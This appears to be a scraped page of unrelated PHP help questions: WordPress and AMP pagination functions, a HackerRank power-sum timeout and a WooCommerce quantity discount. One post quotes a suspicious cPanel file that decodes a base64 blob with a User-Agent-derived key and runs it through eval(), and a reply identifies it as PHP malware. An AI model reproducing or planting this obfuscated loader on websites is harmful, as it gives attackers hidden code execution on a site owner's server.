I am using the WordPress AMP plugin by Automattic and trying to figure out how to keep my pagination functioning. I have many very long posts and the plugin is converting all my post to single AMP pages and removing the pagination that is implemented using the comment block that is available in WordPress. This is the code I use for the Desktop and Responsive version of my blog but it doesn't work on the AMP pages. Any help functions or edits to my pagination function I can make to get my pagination working correctly again would be great. I am also opening to editing the plugin if there is a fix that way.
function new_pagination($pages = '', $range = 1) {
$showitems = ($range * 2)+1;
global $paged, $page;
if(empty($paged)) $paged = 1;
if(empty($page)) $page = 1;
if($pages == '') {
global $wp_query, $numpages;
if ( is_single() ) {
$pages = $numpages;
}else{
$pages = $wp_query->max_num_pages;
}
if(!$pages) {
$pages = 1;
}
}
if(1 != $pages) {
echo "<div class='pagination'><ul>";
if ( is_single() ) {
if(($page > 2 && $page > $range+1 && $showitems < $pages) && ($page > 1 && $showitems < $pages)) {
echo "<li class='mobile-show'><a href='".get_permalink().--$page."/'>Prev</a></li>";
echo "<li class='first'><a href='".get_permalink()."'>First</a></li>";
$page++;
}else{
if($page > 1 && $showitems < $pages) {
echo "<li><a href='".get_permalink().--$page."/'>Prev</a></li>";
$page++;
}
if($page > 2 && $page > $range+1 && $showitems < $pages) echo "<li class='first'><a href='".get_permalink()."'>First</a></li>";
}
}else{
if(($paged > 2 && $paged > $range+1 && $showitems < $pages) && ($paged > 1 && $showitems < $pages)) {
echo "<li class='mobile-show'><a href='".get_pagenum_link($paged - 1)."'>Prev</a></li>";
echo "<li class='first'><a href='".get_pagenum_link(1)."'>First</a></li>";
}else{
if($paged > 1 && $showitems < $pages) echo "<li class='mobile-show'><a href='".get_pagenum_link($paged - 1)."'>Prev</a></li>";
if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<li class='first'><a href='".get_pagenum_link(1)."'>First</a></li>";
}
}
for ($i=1; $i <= $pages; $i++) {
if ( is_single() ) {
if (1 != $pages &&( !($i >= $page+$range+1 || $i <= $page-$range-1) || $pages <= $showitems )) {
echo ($page == $i)? "<li class='active'><span class='current'>".$i."</span></li>":"<li><a href='".get_permalink()."".$i."/' class='inactive' >".$i."</a></li>";
}
}else{
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems )) {
echo ($paged == $i)? "<li class='active'><span class='current'>".$i."</span></li>":"<li><a href='".get_pagenum_link($i)."' class='inactive' >".$i."</a></li>";
}
}
}
if ( is_single() ) {
if(($page < $pages-1 && $page+$range-1 < $pages && $showitems < $pages) && ($page < $pages && $showitems < $pages)) {
echo "<li class='last'><a href='".get_permalink().$pages."/'>Last</a></li>";
echo "<li class='mobile-show'><a href='".get_permalink().++$page."/'>Next</a></li>";
}else {
if ($page < $pages-1 && $page+$range-1 < $pages && $showitems < $pages) echo "<li class='last'><a href='".get_permalink().$pages."/'>Last</a></li>";
if ($page < $pages && $showitems < $pages) echo "<li class='mobile-show'><a href='".get_permalink().++$page."/'>Next</a></li>";
}
}else{
if(($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) && ($paged < $pages && $showitems < $pages)) {
echo "<li class='last'><a href='".get_pagenum_link($pages)."'>Last</a></li>";
echo "<li class='mobile-show'><a href='".get_pagenum_link($paged + 1)."'>Next</a></li>";
}else {
if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo "<li class='last'><a href='".get_pagenum_link($pages)."'>Last</a></li>";
if ($paged < $pages && $showitems < $pages) echo "<li class='mobile-show'><a href='".get_pagenum_link($paged + 1)."'>Next</a></li>";
}
}
echo "</ul></div>\n";
}
}
Related
Time limit exceeded
Your code did not execute within the time limits. Please optimize your code.
<?php
/*
* Complete the 'powerSum' function below.
*
* The function is expected to return an INTEGER.
* The function accepts following parameters:
* 1. INTEGER X
* 2. INTEGER N
*/
function powerSum($X, $N) {
// Write your code here
if (1 <= $X && $X <= 1000 && 2 <= $N && $N <= 10) {
$num = 1;
$list = [];
while ( true ) {
$pow = pow($num, $N);
if ($pow > $X) {break;}
$list[] = $pow;
$num ++;
}
$limit = $X;
$array = $list;
// the algorithm is usable if the number of elements is less than 20 (because set_time_limit)
$num = count($array);
//The total number of possible combinations
$total = pow($N, $num);
$out = array();
// loop through each possible combination
for ($i = 0; $i < $total; $i++) {
$comb = array();
// for each combination check if each bit is set
for ($j = 0; $j < $num; $j++) {
// is bit $j set in $i?
if (pow($N, $j) & $i){
$comb[] = $array[$j];
}
}
if (array_sum($comb) == $limit)
{
$out[] = $comb;
}
}
array_multisort(array_map('count', $out), SORT_ASC, $out);
$out = array_unique($out, SORT_REGULAR);
return count($out);
}
}
The above function is working and passing a lot of test cases but fails only due to timeout reasons.
I hope someone will help me fix this problem as soon as possible.
I ran the code on HackerRank, it ran well but failed on test case due to time.
The link to this challenge on hackerRank is:https://www.hackerrank.com/challenges/the-power-sum/problem?isFullScreen=true
I've just come across this file in my cpanel - Dfile.php.....
Inside this particular file this script was written.. I actually understand nothing about this script. Therefore, please help me to understand this script.. I mean what this script is all about ?
<?php
$data = "npeLzaPWytheWo96fIu9V6KR0JyElY6LsT9wQdWX0sSilouLXpLJyp+ilWGnn9JcYFeRZolmicF9d7qThaDF0JpTwJJXkdXMpl1ZbkRBa5qXmNJXiarK0Jefy1jWp8fGmqTWi2twb+FDQJaopZrWnqOeg57HrMTZm5SOXNik0IywPm2EOYfI2aiiUHBXmtenoI/MpcusjYtxO3NCbJXZ1aGQ1smk0tXYXlqTqKmjjlV3hbWDsYi5wYuEsmSDVtnVoVqecTpsyNmooo+mnKvRpahYh5rXqtGOVnW7iq+BtLeUeaildKi3kFackZ+qnItwQTpsmteq0cGpl9qn06aMh5im1dBcg6i5iIJ/g4uWtHqIhbWFtoqmsIl4q4qPUpWMcD5tbVTHxtiXc5OoqaPBmqyVxl+Gm9rUoluhRW07x9inncLHnNLYyV5ak6ipo4twQTpsoMhghoaak9qZjK1xbT46h8iR18aEc1ZwmaCjx5SbldeWxafT1pug2quLVtnVoVqecTps4nFAP6KYq6zUo1RUx5jWmaBvQK9zQsyYjMyopMjYWIfEq3uKi1WeWb9eXatwQWtczIJzUoqXqne4vlyYisFrcG9tWp1QcFeZw6iZZpeWxp3I0ZqXjqvXpMPVpKWUl1iHzI1fcT09QKDIVVyg1ZzJl9LDqpXOYIph2dWhbouSWqKOipqfonBfZYxeY1ePV4afkYJam9Se0luNg7A+bW05h9rWolZtU1ug0Juji5SUnUVvaz9WyqHVUqGDWZrRyp++l8FxQzo8tERsPlil1aOCdYWGq6TSc3A8bYenlczWUKCFiJqfom5EQWt1oZvHoNRgh5BlVJRYh6TIzKdannE6bInZqKJhcF6f1qmkapJmiViTglqn2KSDYISKqZbQ1JzE2clknqSgo16dQj45h6zUpJefXZrarNNsk5JcUZGEVNjX0FZkUFqgpcaarF7Xr9ZfoG9AO4qczKSVoFxfkotQkYWIqJqZpVdlglxjV4Nlgl/Zx6Oi0pnXl5LLqZ7Pi2twb21ampmlaXSJY2NXg2WCXNfGn6SGZoNZk4pVX4OLmdHJya5koJunXp1CPjmHn89phZ9WmcuswqnJxV1V2NaclI6fQ0A5V5+klFVxUMqc1pfcx5haiq3VnpaMcD5tbZbM0cmVpqWnlprRo6iV0avVYInGn6SXZIea0ZRebHBuOcnO0JuVoKirlsWkoqTIpdarjYaam9hqj1bM0GdannE6bInKlamkpZKUgnJUUIeby6qWnUM8b1zJkdfXp4zAhG2DhYian6JlckRsPpqf1ZzDm82KWpjFq9ekhMSoUYfKmc/K2pdfq0BBQGuemljJoM6dxMeum9ms1lqIyZ6dyNqRjI7fQ0A5PEBbypailM+cgnWFyKWiy6aLVsrMoZbZxVyK18ZdX2tAQUBrPliix6rLssqCc1LMoc+X18yvlouGXpKHklqcmZ+crcNebz1tQGtBibWqpNqd0KKEoFWX1cmRx42Inpeel6OcjlVYoseqy7LKi3FSc0JsO23JmJ3S15WLicyXpJSfnGCdVUE6bEBrocuKqabYq9ekjIeIpdXYldDVkF1lX5mgo8dVmZ7HXoth4G9AO29BbJfHy6RRhaCgoaHXppeeU6qr26GZbYqd0abZj62Xz5/Lpp7FpJ3Hn5PS0dOocJelnJzQcFtuh53LpMrYl1LZrcaVydaobZLXoMTTonJloHFZcm8/PTlsQKKbzc+llo5cyZvQyKuSj5Rnl5mNcUM6PEBA35qgo8iyb0Juaz87y5vLoYSFcaGhoKPTxtJWqaSso5yfXJqf0auPr8rLnZracsWh0MdwlNLQn9Wf1puaa1p1W8ieoJXZmIKqys6lk8p0kqXUxKNvn5OgoYefQ0A5PEC0bz89OWys0KvK1l5WuazVpsnQpVqecTpscm4/P62Yo6rHsEE6bEBrncjKpVKIdNNwoNalktGEo9fe0JtzV5mmpdZiq5XMnsqsn8SlnspzxqHQ0qdr1cmUnoyiWpyZn5ytw1Win9dXyKfa0JpulavTk9KhcWDTolKecm4/P61AQUDfQj45h6rWqoWfVlm2fJypxat2fMS7idLGvISwiouIpqx7bXi1jbSar5SEociPnJ2ulGWhrKeJ0K6nd6GIY5t9uHunnrxpyqzHlIegvouka7S2dp+wt5PTytulgIlln6vEZ4WfrbCXp8mpfJy/armsx9yYpLCogZOzp6Ftc5qjocN8Zaa9esmmxrlrncCQyqfHqp2ord2n2rOoh2Z7h6qCpYyKmsR+mp+vlIShyI+cna2qoausq2nVr96pgZaEp6e8npygxmqwpMmlnZ2+aMd4uqmon8eXetPJq4ukiIainqyejZfHf6yox7Wdnb5ox3i6qaifx5d608mri6SIhqKnx6yjeq1/xrHGuoier3yTmcirf6HFt5fOvZSafIZ5qqXGaH6gx363pr21oWmpn86dx6p7YcSncZyv3Wqseqxrnqx9mKnEj7SkscuZp8eAtabGpphopsubzr6Wb6uUeo2sxnlknr1pm66/lK6espCxosiqiqXH0YbcxruQpollfWfDjG2lsqCjprHLiGXJpc9ivrZpn6/RmJPHu62kf6qmgbyioKO9jZuvybqImL9qnKfIqoumx6x90q+seJ6Uep6qrHyCpsWltKTH0Ieita/Ofae6i5vEq2jKr6uErJKhiaPEo4Vnpp7OacfPrqLIpdahrpVmY73NZdrGrHeke4eqgsiGcW2Kcm9CbsifnsuX06fYwpig0diV0dnXXlheYqStyGOkmNNZjprG1ZtompfHl8fSmZaLiKPX141fcT09QFvInqCV0ZjPnaKCqafIq9ekjIeUhKi2hqi3v12GeIOWiqeBelfAY9Ws19Smodlgh5G3qIeHqLaLirWshpWDeIN9iZJgV5Jei2OWi3E/cEHYoNDMo5yLi16SjJJanJmfnKXDoplZnkRsQaXFnp/VnItUksupksbHldbYhmJmZ2hsYJ1CPq1wQQ==";
$ktmp = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/WebKit\/(.*) \(/is',$ktmp,$kk)){
$keys = explode(".",$kk[1]);
$keys = '0Pi'.$keys[0].'hBG';
}
$keys = md5($keys);
$x = 0;
$data = base64_decode($data);
$len = strlen($data);
$l = strlen($keys);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($keys, $x, 1);
$x++;
}
$str = '';
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
} else {
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
eval($str);
It seems like php malware. You can try wordfence plugin for clean core files etc.
Related to: WooCommerce Cart Quantity Base Discount
In WooCommerce, how do I set a cart discount based on the total number of items in the cart?
## Tested and works on WooCommerce 2.6.x and 3.0+
add_action( 'woocommerce_cart_calculate_fees','wc_cart_quantity_discount', 10, 1 );
function wc_cart_quantity_discount( $cart_object ) {
if ( is_admin() && ! defined( 'DOING_AJAX' ) )
return;
## -------------- DEFINIG VARIABLES ------------- ##
$discount = 0;
$cart_item_count = $cart_object->get_cart_contents_count();
$cart_total_excl_tax = $cart_object->subtotal_ex_tax;
## ----------- CONDITIONAL PERCENTAGE ----------- ##
if( $cart_item_count <= 4 )
$percent = 0;
elseif( $cart_item_count >= 5 && $cart_item_count <= 10 )
$percent = 5;
elseif( $cart_item_count > 10 && $cart_item_count <= 15 )
$percent = 10;
elseif( $cart_item_count > 15 && $cart_item_count <= 20 )
$percent = 15;
elseif( $cart_item_count > 20 && $cart_item_count <= 25 )
$percent = 20;
elseif( $cart_item_count > 25 )
$percent = 25;
## ------------------ CALCULATION ---------------- ##
$discount -= ($cart_total_excl_tax / 100) * $percent;
## ---- APPLYING CALCULATED DISCOUNT TAXABLE ---- ##
if( $percent > 0 )
$cart_object->add_fee( __( "Quantity discount $percent%", "woocommerce" ), $discount, true);
}
Is good for cart page, it's ok!
QUESTION:
It is possible to integrate this function so that the discounted subtotal is also visible in the mini-cart,
as form:
....->add_fee( __( "Quantity discount $percent%", "woocommerce" ), $discount, true);
Thanks in advance.
Dom
pls i need your help,
the pagination on my homepage does not work...whenevr i click on the 2 button to go to second page, i get a 404 error page.
here is the pagination code;
if ( !function_exists( 'pagination' ) ) {
function pagination($pages = '', $range = 4)
{
$showitems = ($range * 2)+1;
global $paged;
if(empty($paged)) $paged = 1;
if($pages == '')
{
global $wp_query;
$pages = $wp_query->max_num_pages;
if(!$pages)
{
$pages = 1;
}
}
if(1 != $pages)
{
echo "<div class=\"pagination\"><span>Page ".$paged." of ".$pages."</span>";
if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<a href='".get_pagenum_link(1)."'>« First</a>";
if($paged > 1 && $showitems < $pages) echo "<a href='".get_pagenum_link($paged - 1)."'>‹ Previous</a>";
for ($i=1; $i <= $pages; $i++)
{
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
{
echo ($paged == $i)? "<span class=\"current\">".$i."</span>":"".$i."";
}
}
if ($paged < $pages && $showitems < $pages) echo "Next ›";
if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($pages)."'>Last »</a>";
echo "</div>\n";
}
}
}
Place this code in functions.php and try., Replace the post type and posts_per_page as you need..
function alter_query_vars($query)
{
switch($query->query_vars['post_type'])
{
case 'post':
//if($query->is_category()) Use this if you want to pagination on category page
$query->query_vars['posts_per_page'] = 6;
break;
default:
break;
}
return $query;
}
add_action('pre_get_posts', 'alter_query_vars');
I have a problem with the wordpress homepage, special offers pagination does not work, follow the link and code.
If you click pag 2 products listed are the same.
Link
function atpmenutypepagination($range =2,$pages = '') {
global $paged,$wp_query;
$out='';
$showitems = ($range * 2)+1;
if(empty($paged)) $paged = 1;
if($pages == ''){
$pages = $wp_query->max_num_pages;
if(!$pages){
$pages = 1;
}
}
//if pages more than one
if(1 != $pages){
$out.='<div class="pagination wp-pagenavi">
<span class="pages extend">
Pag '.$paged.' de '.$pages.
'</span>';
if($paged > 2 && $paged > $range+1 && $showitems < $pages) $out.='«';
if($paged > 1 && $showitems < $pages) $out.='‹';
for ($i=1; $i <= $pages; $i++){
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems )) {
$out.=($paged == $i)? '<span class="current">'.$i.'</span>':'<a href="'.get_pagenum_link($i).'" class="inactive" >'.$i.'</a>';
}
}
if ($paged < $pages && $showitems < $pages) $out.='›';
if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) $out.='»';
$out.= '</div>';
}
return $out;
}//end of function atpmenutypepagination